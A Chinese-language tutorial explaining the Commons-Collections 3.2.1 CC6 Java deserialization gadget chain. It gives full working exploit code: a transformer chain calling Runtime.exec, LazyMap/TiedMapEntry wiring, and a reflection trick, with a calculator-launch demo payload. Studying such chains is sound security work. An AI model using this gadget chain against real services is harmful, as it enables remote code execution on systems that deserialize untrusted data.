Commons-Collections <= 3.2.1 CC6链是所有 gadget chain中最通用的攻击链。CC6的优势是不依赖 jdk版本进行攻击。
CC6链的核心思想参考 URLDNS链,利用 HashMap.readObject触发 hash方法,再触发 hashCode直至漏洞点。
完整EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CC6 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> lazyMap = LazyMap.decorate(new HashMap<Object, Object>(), new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> map = new HashMap<Object, Object>(); map.put(tiedMapEntry, "bbb"); lazyMap.remove("aaa");
Class lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap, chainedTransformer); serialize(map); deserialize(); }
public static void serialize (Object object) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt")); objectOutputStream.writeObject(object); }
public static void deserialize () throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt")); objectInputStream.readObject(); } }
|
EXP构造逻辑
1、依然利用 LazyMap.get,CC6链利用了 Commons-Collections 3.2.1中的 TiedMapEntry中的 getValue方法:

2、getValue方法在 TiedMapEntry.hashCode方法中被调用:

3、如何调用 TiedMapEntry.hashCode就是下一步逻辑,借用 URLDNS链的思想,可以利用 HashMap.readObejct方法调用 hash(key)方法,进而触发 key.hashCode方法:


根据上述思路,初步构造EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map<Object, Object> lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa"); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(tiedMapEntry, "bbb"); serialize(hashMap); deserialize(); }
|
但并非是由 HashMap.readObject造成的命令执行,而是和 URLDNS链类似,由 hashMap.put提前调用了 hash方法,触发 hashCode造成的命令执行:

可以先将 LazyMap中 factory属性的值设置为 非chainedTransformer,hashMap.put结束后再利用反射(factory为 pricate属性) 修改 factory为 chainedTransformer:

使用修改后的 exp执行反序列化代码,无法命令执行,跟进 hashMap.put,步进到 LazyMap.get方法,在第一次put时,若 lazyMap中没有这个 key,会进入 if方法调用 factory.transform方法,然后将 key添加到 lazyMap中。当 HashMap.readObject触发 LazyMap.get方法时,由于 key已经被添加到 lazyMap中,故不会进入 if逻辑,直接返回,不会触发命令执行:

在 hashMap.put后将 lazyMap中的 key值 remove掉就可以了:

调用链流程图
